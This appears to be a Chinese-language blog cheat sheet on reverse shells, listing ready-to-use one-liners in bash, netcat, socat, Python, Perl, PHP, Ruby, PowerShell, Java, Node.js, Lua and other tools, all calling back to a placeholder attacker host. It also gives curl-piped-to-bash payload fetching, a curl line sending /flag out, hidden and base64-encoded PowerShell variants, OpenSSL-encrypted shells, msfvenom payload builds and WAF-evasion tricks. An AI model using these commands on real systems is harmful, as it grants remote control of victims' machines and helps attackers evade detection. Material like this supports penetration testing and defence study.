小chen妙妙屋

反弹shell

14分钟阅读

定义

将输入输出的shell交互式终端转移到其他机器的一种技术

反弹shell合集

bash反弹shell

TCP协议

攻击者：nc -lvvp 4444 受害者：


/bin/bash -i >& /dev/tcp/攻击机ip/4444 0>&1

/bin/bash -i > /dev/tcp/攻击机ip/4444 0<& 2>&1

exec 5<>/dev/tcp/攻击机ip/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/攻击机ip/4444 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/攻击机ip/4444; sh <&196 >&196 2>&196

UDP协议

首先在本地监听UDP协议4444端口


nc -u -lvp 4444

然后在靶机上执行如下命令：


sh -i >& /dev/udp/攻击机ip/4444 0>&1

nc反弹shell

攻击者：nc -lvvp 4444 受害者：


nc -e /bin/sh 攻击机ip 4444

nc -e /bin/bash 攻击机ip 4444

nc -c bash 攻击机ip 4444

mknod backpipe p && nc 攻击机ip 4444 0<backpipe | /bin/bash 1>backpipe

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机ip 4444 >/tmp/f

rm -f /tmp/p; mknod /tmp/p p && nc 攻击机ip 4444 0</tmp/p 2>&1

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 攻击机ip 4444 > f

rm -f x; mknod x p && nc 攻击机ip 4444 0<x | /bin/bash 1>x

Ncat反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


ncat 攻击机ip 4444 -e /bin/bash

ncat --udp 攻击机ip 4444 -e /bin/bash

curl反弹shell

首先在公网机监听TCP协议4444端口


nc -lvp 4444

提前准备好bash.txt，里面是反弹shell命令，上传公网，然后靶机执行：


bash -i >& /dev/tcp/公网IP/4444 0>&1

curl http://公网IP/bash.txt|bash

PS：OOB的时候可以


curl 公网IP:4444 -d @/flag

Telnet反弹shell

单管道

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


rm -f /tmp/p; mknod /tmp/p p && telnet 攻击机ip 4444 0</tmp/p 2>&1

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 攻击机ip 4444 > f

rm -f x; mknod x p && telnet 攻击机ip 4444 0<x | /bin/bash 1>x

双管道

首先在本地监听TCP协议4444和4445端口 第一个终端：


nc -lvp 4444

第二个终端：


nc -lvp 4445

靶机：


telnet 攻击机ip 4444 | /bin/bash | telnet 攻击机ip 4445

Socat反弹shell

首先在本地监听TCP协议4444端口


socat file:`tty`,raw,echo=0 TCP-L:4444

然后在靶机上执行如下命令：


/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip 4444

socat tcp-connect:攻击机ip 4444 exec:"bash -li",pty,stderr,setsid,sigint,sane

wget -q [https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip 4444

python反弹shell

攻击者监听端口：nc -lvvp 4444 受害者：


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

export RHOST="攻击机ip";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IPv6协议如下：


python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("攻击机",4444,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Windows平台如下:


C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('攻击机ip', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.**enter**(), __ctx.**exit**(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'**enter**': lambda self: None, '**exit**': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'**enter**': lambda self: None, '**exit**': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\windows\system32\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.**name** in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.**name** in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(**import**('os', __g, __g))]][0] for __g['socket'] in [(**import**('socket', __g, __g))]][0] for __g['subprocess'] in [(**import**('subprocess', __g, __g))]][0] for __g['threading'] in [(**import**('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), **import**('contextlib'))"

perl反弹shell

攻击者监听端口：nc -lvvp 4444 受害机：


perl -e 'use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

win下执行：


perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"攻击机:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


php -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("攻击机ip",4444);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'

php -r '$s=fsockopen("攻击机ip",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("攻击机ip",4444);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$s=fsockopen("攻击机ip",4444);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("攻击机ip",4444);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

php -r '$s='127.0.0.1';$p=4444;@error_reporting(0);@ini_set("error_log",NULL);@ini_set("log_errors",0);@set_time_limit(0);umask(0);if($s=fsockopen($s,$p,$n,$n)){if($x=proc_open(\'/bin/sh$IFS-i',array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die('connection/closed');if(feof($p[1]))die('shell/not/response');$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die("proc_open/disabled");}}else{die("not/connect");}'

Ruby反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


ruby -rsocket -e'f=TCPSocket.open("攻击机ip",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机ip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows平台如下：


ruby -rsocket -e 'c=TCPSocket.new("攻击机ip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Powershell反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("攻击机ip",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient("攻击机ip",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('[https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1](https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1)')

或

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('$c=New-Object Net.Sockets.TCPClient("攻击机ip",4444);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+''PS ''+(pwd).Path+''> '';$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'))

powershell -nop -enc {reverse shell command}

Awk反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


awk 'BEGIN {s = "/inet/tcp/0/攻击机/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

TCL脚本反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


echo 'set s [socket 攻击机 4444];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

Java反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：

linux平台：


r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

p.waitFor()

windows平台：


String host="攻击机";

int port=4444;

String cmd="cmd.exe";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

创建线程：


Thread thread = new Thread(){

public void run(){

// Reverse shell here

}

}

thread.start();

生成War文件反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

使用如下命令生成war文件：


msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机 LPORT=4444 -f war > reverse.war

查看war包中shell的jsp文件名


strings reverse.war | grep jsp

在靶机上部署war包后，访问shell的jsp文件，即可在监听端口获得反弹shell

Lua反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令： Linux平台：


lua -e "require('socket');require('os');t=socket.tcp();t:connect('攻击机IP','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows及Linux平台：


lua5.1 -e 'local host, port = "攻击机IP", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


(function(){

var net = require("net"),

cp = require("child_process"),

sh = cp.spawn("/bin/sh", []);

var client = new net.Socket();

client.connect(4444, "攻击机IP", function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/;

})();

require('child_process').exec('nc -e /bin/sh 攻击机IP 4444')

var x = global.process.mainModule.require

x('child_process').exec('nc 攻击机IP 4444 -e /bin/bash')

[https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py](https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py)

Groovy反弹shell

首先在本地监听TCP协议4444端口


nc -lvp 4444

然后在靶机上执行如下命令：


String host="攻击机IP";

int port=4444;

String cmd="cmd.exe";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

使用Xterm反弹shell

首先在攻击机（本地）启动 X 服务器并配置白名单允许靶机连接：


Xnest :1

xhost +靶机IP

然后在靶机上执行如下命令：


xterm -display 攻击机IP:1

反弹shell绕过

生僻反弹shell绕过

方法如上

linux符号绕过

linux通配符绕过

*    代表『 0 个到无穷多个』任意字符
?    代表『一定有一个』任意字符
[ ]    同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符， 可能是 a, b, c, d 这四个任何一个』
[ - ]    若有减号在中括号内时，代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字，因为数字的语系编码是连续的
[^ ]    若中括号内的第一个字符为指数符号 (^) ，那表示『反向选择』，例如 [^abc] 代表 一定有一个字符，只要是非 a, b, c 的其他字符就接受的意思。

使用连接符绕过

  • ;（分号 - 无条件执行）： 命令1 ; 命令2 不管 命令1 成功还是失败，都必须接着执行 命令2。
  • &&（逻辑与 - 成功才执行）： 命令1 && 命令2 只有当 命令1 执行成功了，才会接着执行 命令2。如果 命令1 报错了，后面的就不管了。
  • ||（逻辑或 - 失败才执行）：命令1 || 命令2 只有当 命令1 执行失败（报错）了，才会去执行 命令2作补救。如果 命令1 成功了，后面的就不管了。
  • |（管道符 - 数据传递）： 命令1 | 命令2 把 命令1 打印在屏幕上的结果，当作 命令2 的输入数据传过去（也就是我们之前看双管道反弹 Shell 时用到的核心原理）。

使用变量符号绕过

root@kali:/# echo "hello"
hello
root@kali:/# echo "hel"l"o"
hello
root@kali:/# 

root@kali:/# echo 'hel'l'o'
hello
root@kali:/# echo 'hel'l"o"
hello

这个实测在WAF中比较容易识别，可能是因为引号规则比较好匹配

使用未初始化的bash变量

root@kali:/# a=who
root@kali:/# b=am
root@kali:/# c=i
root@kali:/# $a$b$c
root
root@kali:/# 

root@kali:/# whoami$v
root
root@kali:/# 
root@kali:/# ifconfig$f
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.26.155  netmask 255.255.255.0  broadcast 192.168.26.255
        inet6 fe80::20c:29ff:fea7:cec  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a7:0c:ec  txqueuelen 1000  (Ethernet)
        RX packets 4925  bytes 413251 (403.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2462  bytes 396833 (387.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 156 (156.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 156 (156.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@kali:/#

加密流量

OpenSSL反弹shell

首先在本地监听TCP协议4444端口


openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

ncat --ssl -vv -l -p 4444

然后在靶机上执行如下命令：


mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击机:4444 > /tmp/s; rm /tmp/s

Meterpreter反弹Shell:

msf本身使用openssl的魔改版


msfvenom -p windows/meterpreter/reverse_tcp LHOST="攻击机IP" LPORT=4444 -f exe > reverse.exe

msfvenom -p windows/shell_reverse_tcp LHOST="攻击机IP" LPORT=4444 -f exe > reverse.exe

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="攻击机IP" LPORT=4444 -f elf >reverse.elf

msfvenom -p linux/x86/shell_reverse_tcp LHOST="攻击机IP" LPORT=4444 -f elf >reverse.elf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="攻击机IP" LPORT=4444 -f elf > shell.elf

msfvenom -p windows/meterpreter/reverse_tcp LHOST="攻击机IP" LPORT=4444 -f exe > shell.exe

msfvenom -p osx/x86/shell_reverse_tcp LHOST="攻击机IP" LPORT=4444 -f macho > shell.macho

msfvenom -p windows/meterpreter/reverse_tcp LHOST="攻击机IP" LPORT=4444 -f asp > shell.asp

msfvenom -p java/jsp_shell_reverse_tcp LHOST="攻击机IP" LPORT=4444 -f raw > shell.jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST="攻击机IP" LPORT=4444 -f war > shell.war

msfvenom -p cmd/unix/reverse_python LHOST="攻击机IP" LPORT=4444 -f raw > shell.py

msfvenom -p cmd/unix/reverse_bash LHOST="攻击机IP" LPORT=4444 -f raw > shell.sh

msfvenom -p cmd/unix/reverse_perl LHOST="攻击机IP" LPORT=4444 -f raw > shell.pl

关系图谱